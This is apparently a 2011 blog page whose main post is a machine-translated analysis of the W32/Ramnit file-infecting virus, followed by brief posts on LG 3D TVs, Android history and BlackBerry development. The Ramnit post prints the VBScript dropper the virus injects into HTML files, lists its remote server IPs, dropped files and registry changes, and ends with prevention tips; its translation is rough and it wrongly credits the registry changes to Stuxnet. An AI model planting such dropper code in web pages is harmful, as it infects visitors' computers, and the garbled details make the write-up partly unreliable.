Showing posts with label Technology. Show all posts
Showing posts with label Technology. Show all posts

Wednesday, April 27, 2011

Virus W32/Ramnit, exploit LNK vulnerability comparable to Sality

Posted by darmawan 6:33 PM, under ,,, | No comments

W32/Ramnit
Now with the ability to exploit LNK (Shortcut)

If Cristiano Ronaldo in URLs as Stuxnet, of course you ask what is likened to a virus as Messi? The answer is Ramnit. Although not explosive like Stuxnet, but with capabilities that are not inferior to the injection Stuxnet victim files, clear Ramnit infect many computers in Indonesia and slowly but surely cemented himself as one of the warlords who pelru virus alert computer users in Indonesia. Moreover, the latest variant Ramnit who now have the ability to exploit security holes LNK (Shortcut) so he was able to spread itself by creating shortcuts.

In the year 2010, which utilizes the dominance stuxnet vulnerabilities LNK (shortcut) is an intelligent work one step from the makers of malware. Not merely dominate, but also a trending topic malware in various articles and analysis worldwide.

At the moment the domination stuxnet still booming today, should we also need to be alert against new malware variants that attempted to show the existence of his hard work with the business of malware authors. Among the variants of malware that is worth the watch is detected as W32/Ramnit by Norman Security Suite (see Figure 1). Currently, variants of malware ramnit has spread rapidly around the world. Ramnit attacks come complete foreign domination of malware spread in Indonesia.
Image 1, Norman detect malware W32/Ramnit
 
Family malware W32/Ramnit

Ramnit Malware malware group is not really new, but has been actively spread also in 2010. Just because of malware such as user security hole LNK shortcut, sality, stuxnet, which makes this malware is not a concern of the analysis and computer users in the world.

Just like stuxnet, variant W32/Ramnit first appeared in mid-July and August 2010. While the second variant W32/Ramnit appear in October and November 2010, along with his scene-sality attack shortcut. And in mid-January 2011 is currently emerging is the third variant of W32/Ramnit family who tried to follow in the footsteps of its predecessors by using the security hole LNK (shortcut) to carry the infection and spread.

Characteristics W32/Ramnit

One of the things that make us need to be careful of that because this malware W32/Ramnit including groups that perform infectious virus files like Sality, Virut and Alman. This can be a scourge for computer users, because it will be difficult to clean the virus is doing the file infection, especially executable files (application).

W32/Ramnit is one of the variant viruses that make infection executable file (application). And not only executable files, but also do infections on the web file (HTML) files and DLL (dynamic load library).

Also, if you connect to the internet, ramnit will contact a remote server (IRC server) and connect to multiple addresses zombie servers to download a set of malware (viruses, trojans, spyware). At some particular time, W32/Ramnit using ads and popups to the content of pornography and gambling (casinos) and other commercial advertising that would make you uncomfortable when about browsing and surfing. Imagine if this happens when your child is under the age of the computer you're using protection with Parental Control. For parents this disaster because your child is exposed to pornography (because chances are that displayed pornographic content would escape the Parental Control which in pairs) and for children it might be considered "a blessing" for protection in the tide of pornography which turned out to be tricked.

By also exploit security holes LNK (shortcut), then the easier step to infect computer users quickly. Although not all three variants W32/Ramnit using the security hole LNK (shortcut), but almost all variants W32/Ramnit will be very difficult to clean.

Symptoms & Effects W32/Ramnit

Some symptoms that occur if you are already infected are:
*  Pop-up ads or pop-ups to the content of pornography / gambling

       In some particular time, the browser will open a pop-up ads or pop-ups that contain pornographic content or gambling (casino). This sometimes makes the user's computer becomes uncomfortable. (see Image 2)
Image2, Pop-up ads that run W32/Ramnit
 
* Appears script error pop-ups or error after a pop-up ads that appear

After a pop-up ads that appear, will appear a pop-up error or script error from the browser. It appears this error script-like virus "ARP spoofing"in 2008. (see Figure 3)
Image3, Pop-up error or script error

* Infection of EXE and DLL files
Just as the variants of malware sality, Alman and Virut, W32/Ramnit make exe file infection. Only, W32/Ramnit also do infections on the DLL file (dynamic load library).
Exe and dll files in-infection increased by between 100-120 kb, depending on the variant that infects Ramnit. Nevertheless, not all exe and dll files in-infection.

 *  Injection HTML file
Besides infecting exe files and etc, W32/Ramnit also do injection of HTML files. Injection is done by adding the header and footer. (see image 4 and 5)
In the header, W32/Ramnit add the script:
DropFileName = "svchost.exe"
Image4, the script is added to the header of the HTML file

While in the footer, W32/Ramnit add the script:
Set FSO = CreateObject ("Scripting.FileSystemObject")
DropPath = FSO.GetSpecialFolder(2) & '\" DropFileName
If FSO.FileExists(DropPath)=False Then
Set fileobj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step2
Fileobj.write chr (CLng("&H" & Mid(WriteData, i,2)))
Next
Fileobj.close
End If
Set WSHshell = CreateObject ("Wscript.shell")
WSHshell.Run DropPath, 0

Image5, the script is added to the footer of the HTML file

 *  Creating Windows services function to be blank
With the action to inject the files on the file Iexplore.exe and services.exe file, and add a script to the web files (htm / html) making the function of the Windows services to be blank. (see figure 6)

Image6, the Windows Services function to be blank
 
* Creating computer hangs / slow and even network connections become disconnected.
Windows system files that would be targeted by injection W32/Ramnit namely:
-C: \ WINDOWS \ system32 \ svchost.exe (file system associated with the network connection, by injecting will make the network disconnected)
-C: \ WINDOWS \ system32 \ lsass.exe (file system-related computer activities, by injecting will make the computer hangs / slow).
-C: \ WINDOWS \ system32 \ services.exe (file system associated with the services and drivers that run)
-C: \ Program Files \ Internet Explorer \ Iexplore.exe (executable file from the internet explorer browser)
 
*Active in the process of memory
Malware W32/Ramnit try to connect to the Remote Server using Internet Explorer that have been on injection. This can be seen in the task manager, even though we are not open IE / Internet Explorer (see figure 7)
Image7, Process Iexplore.exe (Internet Explorer) that has been injected by W32/Ramnit
 
* Connect to Remote Server
Malware W32/Ramnit connect to the Remote Server to perform the necessary delivery information on the Remote Server. Remote Server is used that is between them:
195.2.252.247
195.2.252.252
69.50.193.157
74.125.227.17
74.125.227.18
74.125.227.20
95.211.127.69
 
 * Transferring data to a Remote Server
Besides trying to connect and to communicate with a remote server, W32/Ramnit also tried to transfer data from the victim's computer to the Remote Server and vice versa send malware files into the victim's computer. (see image 8)
Image8, the transfer of data between the victim's computer with Remote Servers

*  To broadcast
Just as it worms its Conficker, W32/Ramnit also do broadacast on the network. What was different was to W32/Ramnit only perform at one address, namely: ADX.ADNXS.COM (see image 9)
    Image9, conducted by Broadcast W32/Ramnit

File viruses W32/Ramnit

Malware W32/Ramnit created using the C programming language is compressed using UPX. File malware has characteristics as follows:

     * Measuring 105 kb
     * Type the file "Application '
     * Using the icon "music folder"
     * Extension "exe"

W32/Ramnit When run, it will inject some Windows system files are:
C: \ WINDOWS \ system32 \ lsass.exe
C: \ WINDOWS \ system32 \ svchost.exe
C: \ WINDOWS \ system32 \ services.exe
C: \ Program Files \ Internet Explorer \ Iexplore.exe

If connected to the internet, W32/Ramnit will download some files and folders malware as follows:
C:\Documents and Settings\%user%\Local Settings\Temp\[angka].tmp
C:\Documents and Settings\%user%\Local Settings\Temp\explorer.dat
C:\Documents and Settings\%user%\Local Settings\Temp\winlogon.dat
C:\Documents and Settings\%user%\Local Settings\Temp\[nama_acak].exe
C:\Documents and Settings\%user%\Start Menu\Programs\[nama_acak].exe
C:\Program Files\Intenet Explorer\complete.dat
C:\Program Files\Intenet Explorer\dmlconf.dat
C:\Program Files\win\[angka_acak].exe
C:\Program Files\qwe
C:\WINDOWS\[nama_acak].exe
C:\WINDOWS\System32\[nama_acak].dll
C:\WINDOWS\System32\[nama&angka_acak].dll
C:\WINDOWS\Temp\[angka].tmp
 
In addition, W32/Ramnit perform following injection of multiple files (if any) are:
C:\contacts.html
C:\Inetpub\wwwroot\index.html
C:\Program Files\Common Files\designer\MSADDNDR.DLL
C:\Program Files\Common Files\designer\MSHTMPGD.DLL
C:\Program Files\Common Files\designer\MSHTMPGR.DLL
C:\Program Files\Common Files\System\ado\MDACReadme.htm
C:\Program Files\Common Files\System\Ole DB\MSDAIPP.DLL
C:\Program Files\MSN\MSNCoreFiles\OOBE\obelog.dll
C:\Program Files\MSN\MSNCoreFiles\OOBE\obemetal.dll
C:\Program Files\MSN\MSNCoreFiles\OOBE\obepopc.dll
C:\Program Files\MSN\MSNIA\custdial.dll
C:\Program Files\MSN\MSNIA\msniasvc.exe
C:\Program Files\MSN\MSNIA\prestp.exe
C:\Program Files\MSN\MsnInstaller\iasvcstb.dll
C:\Program Files\MSN\MsnInstaller\msdbxi.dll
C:\Program Files\MSN\MsnInstaller\msninst.dll
C:\Program Files\MSN\MsnInstaller\msninst.exe
C:\Program Files\MSN\MsnInstaller\msnsign.dll
C:\Program Files\NetMeeting\netmeet.htm

Also on removable disks / drives will create several files:
autorun.inf
Copy of Shortcut to (1).lnk
Copy of Shortcut to (2).lnk
Copy of Shortcut to (3).lnk
Copy of Shortcut to (4).lnk
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak1].exe
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak2].exe
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak3].exe
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak4].exe
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak5].exe
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak6].exe
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak7].exe
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak8].exe
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak9].exe
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak10].exe
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak11].exe
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak1].cpl
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak2].cpl
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak3].cpl
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak4].cpl
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak5].cpl
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak6].cpl
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak7].cpl
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak8].cpl
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak9].cpl
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak10].cpl
RECYCLER/S-3-4-70-7603517533-1567780477-325265274-3130/[namaacak11].cpl
RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak1].exe
RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak2].exe
RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak3].exe
RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak4].exe
RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak5].exe
RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak6].exe
RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak7].exe
RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak1].cpl
RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak2].cpl
RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak3].cpl
RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak4].cpl
RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak5].cpl
RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak6].cpl
RECYCLER/S-8-1-53-2203638008-1861115022-526586310-2180/[namaacak7].cpl

And on networks that use mapping drives, trying to inject some files that have the following names:
  • Blank.htm
  • Citrus Punch.htm
  • Clear Day.htm
  • Fiesta.htm
  • Ivy.htm
  • Leaves.htm
  • Maize.htm
  • Nature.htm
  • Network Blitz.htm
  • Pie Charts.htm
  • Sunflower.htm
  • Sweets.htm
  • Technical.htm

Registry Modifications
Some registry modifications made ​​by the worm Stuxnet are as follows:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
[nama_acak] = C:\Documents and Settings\%user%\Local Settings\Temp\[nama_acak].exe
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_60DFFE60
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_60DFFE60\0000
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Enum\Root\LEGACY_60DFFE60\0000\Control
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_60DFFE60
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_60DFFE60\0000
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\Root\LEGACY_60DFFE60\0000\Control
HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\featurecontrol
HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\Main\featurecontrol\FEATURE_BROWSER_EMULATION
HKEY_USERS\.DEFAULT\Software\Microsoft\Internet Explorer\international

Delete registry
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SystemRes tore]
DisableSR = 0x00000001

Edit Registry
[HKEY_USERS\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Zones\3]
CurrentLevel =
1601 =

Distribution Method
Some ways W32/Ramnit make the distribution is as follows:
 
Drive by downloads (exploit)
W32/Ramnit initially spread by exploiting features of the drive by downloads in the Windows system. With the links that are spread on the forum or e-mail, trying to trick the user to run the link. In addition, when access to websites that provide content or browser plugins for download.
 
Removable drive / disk
This method is commonly done by computer users. W32/Ramnit make a lot of files to infect a computer, and were also exploit security holes LNK (shortcut). (see figure 10)

Image10, W32/Ramnit infected removable disk / drive

Network

W32/Ramnit try to do injections on a few web files (htm) specified in the network on a computer that make mapping drives. The following files are:
  • Blank.htm
  • Citrus Punch.htm
  • Clear Day.htm
  • Fiesta.htm
  • Ivy.htm
  • Leaves.htm
  • Maize.htm
  • Nature.htm
  • Network Blitz.htm
  • Pie Charts.htm
  • Sunflower.htm
  • Sweets.htm
  • Technical.htm

Malware Prevention Tips from W32/Ramnit
  1. Turn on Windows Firewall or use other firewall software. This is to prevent the access of undesirable
  2. Make sure the computer is getting the latest updates from the Windows system. To simplify use automatic updates of the system such as "Automatic Updates". Or it could also download the latest patch from the Microsoft website. 
  3. Use antivirus software that are always updated with the good. This is to make it easier to variants of the new malware. 
  4. Restrict access to administrator access. For users of Windows 7 and Vista, make sure the UAC (user account control) has been going well.
  5.  Be cautious when opening e-mail attachment or when receiving the transfer of files from strangers. Always check to be scanned with the updated antivirus. 
  6. Be wary of programs crack / keygen or programs that are not known. Because it could have been infected with or contain malware. 
  7. Use a password that is not easy to read and known. Make sure always change the password at a particular time, and distinguish passwords with one another. 
  8. Turn off the "autoplay" Windows to prevent unwanted programs on a removable drive / disk runs automaticallyTurn off file sharing if not used. 
  9. If you do use file sharing only read-only status, or sharing configuration only for specific users.
  10. Be  careful when accessing a website or a forum that provides certain links to be downloaded or installed

Monday, April 11, 2011

LG launches new TV 3-D technology

Posted by darmawan 4:49 PM, under ,, | No comments

LG Electronics Indonesia launches 3D TV technology with FPR (film pattern retarder), the latest technology which enables users to enjoy three-dimensional impressions.

Woen Dae Kim, the president director of PT LG Electronics Indonesia, said the technology needed to make glasses to watch 3D TV is no longer heavy and expensive.

"The technology is predicted to be a new generation of 3D television, and was developed by our research division. New LG who have it," he said in the latest innovative product launch in 2011, today.

He explained the benefits of the glasses looked from its shape that no longer requires a battery and microchips, pretty glasses with polarized lenses are commonly used today to enjoy 3D films at the cinema.

Glasses will be more affordable price. Television audience of this model is no longer need to feel the various limitations when watching a three-dimensional impression, such must be viewed in a dark room, see the upright position, and rarely available three-dimensional content.

"Television has 3D glasses for heavy and expensive, with this technology becomes cheaper price of eyeglasses so that more people can get it," said Erwin Liem, Product Marketing Flat Panel Display PT LG Electronics Indonesia.

Weights and dimensions are also more lightweight glasses and thin, just like ordinary glasses. In addition to the special coating, LG 3D Cinema has 10 times the level of depth and out 10 times, that does not exist in any other three-dimensional television.

LG Indonesia will issue a television with a size of 42 inches, the size of the most widely used to living rooms at affordable prices

Friday, April 8, 2011

Technology Android

Posted by darmawan 2:44 PM, under ,,, | No comments

Android is a software platform for mobile devices that are powered by Google's OS, which was originally developed by Google after it completed by Handset Alliance. Android is an open operating system that is intended for mobile devices (mobile device). July 2005 there had been acquired by google android on 5 November 2007 and then officially released by Google's Android. In the development of android applications Android SDK provides the tools and APIs to provide application developers with flatform android. Android using Java as a language pemogramannya, so for those of you who have long played with java it never hurts to try Android.

DEVELOPMENT

In July 2005, Google acquired Android, Inc., a small startup company based in Palo Alto, California, United States. Androiddari co-founders who went to work at Google included Andy Rubin (co-founder of Danger), Rich Miner (co-founder of Wildfire Communications, Inc.), Nick Sears (once VP at T-Mobile), and Chris White (head of interface design and development at WebTV). At that time, little is known about the functions of Android, Inc. other than those who create software for mobile phones. This began rumors that Google has plans to enter mobile phone market, although It is not clear what the function might do in the market. At Google, a team led by Rubin, developed a mobile device platform backed by Google's OS is marketed to handset makers and operators on the premise of providing a flexible, upgradeable system
Android has undergone reforms since its initial launch.

    1. Cupcake
       30 April 2009 was officially launched Cupcake with several new features:
           o The ability to record and play video in camcorder mode
           o Upload videos to Youtube and photos directly from mobile phones to Picasa
           o soft key keyboard with features "autocomplete"
           o Ability direct connection to Bluetooth headset
           o widget and a new folder
           o Animation
           o The ability to copy-paste repair

    2. Doughnut
       15 September 2009, Doughnut (Donut) was launched:
           o Android Market update
           o Interface cameras, camcorders, and an integrated gallery
           o Elimination of photos in the gallery can be done in multiple (many files)
           o Voice Search updated with faster response and better integration with the ability to call contacts
           o improved search features for bookmarks, history, contacts, and web directly from the standby display
           o Renewal of technology support CDMA / EVDO, 802.1x VPN, Gesture, and Text-to-speech
           o The speed improved in the quest

    3. Eclair
       October 26, 2009
                 + The speed of hardware repair
                 + New application "Car Home"
                 + Support the resolution and screen size are developed
                 + interface new browser
                 + List of new contacts
                 + The ratio of black-and-white for better background
                 + Google Maps 3.1.2
                 + Microsoft Exchange Support
                 + Support for camera flash
                 + Digital zoom
                 + Virtual keyboard repaired
                 Bluetooth 2.1 +

The first devices running Android operating system and widely marketed is the HTC Dream which was released on October 22, 2008. By the end of 2009 will certainly circulate about 18 phone using Android.

Documentation for Developers BlackBerry

Posted by darmawan 2:19 PM, under ,, | No comments

BlackBerry® was the number one selling smartphone brand in the United States at the end of calendar 2009.1 Imagine having this kind of reach and developing apps that can push immediate updates to your users. These are just some of the benefits of creating applications for BlackBerry® smartphones.

Create Applications for a Smartphone Leader

Develop for the BlackBerry Application Platform and get access to a large and growing market of both business and personal users. The BlackBerry smartphone has a 55% market share in North America and millions of customers all over the world.

With the introduction of the BlackBerry App World™ storefront, BlackBerry smartphone users can now easily search for and download apps that let them do even more with their smartphones.

The addictiveness of BlackBerry smartphone applications comes from their ability to provide instant information to users and integrate with core BlackBerry applications like email and the address book.

Create compelling applications that push data to users such as the latest sports scores, weather updates, price changes for sales people and much more.

Find sample applications and code, API documentation, and development guides and guidelines to help you create and distribute apps or themes for BlackBerry smartphones.
Post from  blackberry.com